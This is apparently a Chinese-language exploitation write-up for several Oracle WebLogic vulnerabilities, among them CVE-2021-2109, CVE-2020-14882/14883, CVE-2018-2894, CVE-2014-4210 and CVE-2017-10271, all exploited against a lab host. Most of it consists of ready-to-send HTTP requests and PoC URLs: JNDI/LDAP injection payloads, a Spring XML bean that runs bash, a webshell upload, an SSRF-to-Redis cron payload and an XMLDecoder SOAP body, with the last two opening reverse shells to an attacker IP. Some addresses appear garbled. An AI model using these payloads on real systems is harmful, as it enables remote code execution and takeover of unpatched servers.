文章目录
1. cve-2021-2109 RCE
需要登录控制台或者配合 CVE-2020-14882 未授权访问漏洞即可实现rce。
影响版本:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
1.1 原理
大致就是bindingHandle类中的objectIdentifier变量的值的一部分会被放倒lookup函数中。lookup函数会触发jndi注入,如果我们能构造恶意的objectIdentifier值就能进行rce。
如果url中的参数如果以handle结尾,用 ConvertUtils.convert () 方法处理参数值, ConvertUtils.convert () 方法的作用是转换类型,在这里可以将字符串转换为 handle 对象。
综上我们可以按照 ConvertUtils.convert 的格式构造 bindingHandle ,而 bindingHandle 属于 JndiBindingHandle 类,objectIdentifier 是在构造函数里设置的,我们传递给JndiBindingHandle类值就会变成objectIdentifier。
具体格式如下:
JndiBindingHandle(‘1;2;AdminServer’)
如果我们传递的是这种数据,那么最终传递给lookup函数去执行的就是1.2。
因此我们将1换成ldap://123.123.213
,将2换成123/object
,JndiBindingHandle对象会变成:
JndiBindingHandle(‘ldap://123.123.213;123/object;AdminServer’)
这时候传递给lookup函数的就是:
ldap://123.123.123.123/object
可触发恶意命令。
1.2 登陆后利用
先登陆进去
1. 先用JNDIExploit启一个监听
2. 抓包
url:
http://192.168.171.136:7001/console/consolejndi.portal
带上恶意payload
payload
123handle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.171;1:12344/Basic/Command/whoami;AdminServer%22)
数据包:
POST /console/consolejndi.portal HTTP/1.1
Host: 192.168.171.136:7001
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: ADMINCONSOLESESSION=b3DqHYE7rVEqOVrWgfmGpinRmm20j9Gjbdsdma3UjOqMCzIpLPKZ!-559118402
Connection: close
Content-Length: 116
cmd:ls
123handle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.171;1:12344/Basic/WeblogicEcho;AdminServer%22)
1.3 配合CVE-2020-14882任意用户登录漏洞利用
访问url:
http://192.168.171.136:7001/console/css/%252e%252e%252f/consolejndi.portal
创建监听等都同上。
1. 抓包并发送到repeter
POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.171.136:7001
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: ADMINCONSOLESESSION=rc7qPIsiuCEXDkcBkGpvtyrcfZ6c2drjlj9NRelmcnKjOHPjwuvT!458980394
Connection: close
Content-Length: 116
cmd:ls
123handle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.171;1:12344/Basic/WeblogicEcho;AdminServer%22)
参考文章:Weblogic LDAP 远程代码执行漏洞分析(CVE-2021-2109)
CVE-2021-2109:Weblogic远程代码执行分析复现
2. CVE-2020-14882+CVE-2020-14883
CVE-2020-14882是未授权访问漏洞
CVE-2020-14883可以在低权限下执行任意代码
有两种利用方式,不同的方式影响版本不一样。
原理大概是通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。
2.1 利用方式1
影响版本
Weblogic 12.2.1
poc
http://192.168.171.136:7001/console/css/%252e%252e/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20tqm2j9.dnslog.cn');")
2.2 利用方式2
影响版本
未修复的所有版本
创建一个xml文件,放在目标能访问到的服务器上:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
执行如下poc:
http://192.168.171.136:7001/console/css/%252e%252e/console.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.171.1:1111/1.xml")
3. CVE-2018-2894
任意文件上传漏洞
3.1 利用
访问http://192.168.171.136:7001/ws_utc/config.do
,更改工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
上传webshell并抓包
记住这个id:
webshell上传的最终路径为:
http://192.168.171.136:7001/ws_utc/css/config/keystore/1636023444809_1.jsp
格式为:
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
4. CVE-2014-4210 ssrf漏洞 配合内网redis拿shell
1. 漏洞页面
http://192.168.171.136:7001/uddiexplorer/SearchPublicRegistries.jsp
我们尝试更改这个www-3.ibm.com,将它更改为127.0.0.1:22:
报错发现没有开启22端口,我们再将端口更改为7001:
发现端口是开着的只是返回404而已。
我们登陆到靶机中看看是不是关闭了22开启了7001:
验证成功。
2. 扫描内网机器
尝试扫描内网机器的6379端口,看是否有redis
确定在172.18.0.6379有redis,接下来我们尝试使用redis未授权的payload去攻击一下。
3. 生成反弹shell的payload
工具:Gopherus
gopher://172.18.0.6379:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.171.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
这时候发现gopher不支持:
将gopher改为http:
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.171.136:7001
Content-Length: 592
Cache-Control: max-age=0
Origin: http://192.168.171.136:7001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.171.136:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XrTrhDMQ49YmbvcTNnvNbndlrhDKFGTckDS1fJ21DvCNHQKhVcRq!1997715656
Connection: close
operator=http://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.171.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
成功反弹shell。
参考文章:SSRF攻击内网Redis
5. Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder
来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.171.139:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.171.1/9999 0>&1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
主要更改的是从<java version="1.4.0" class="java.beans.XMLDecoder">
到</java>
之间的部分。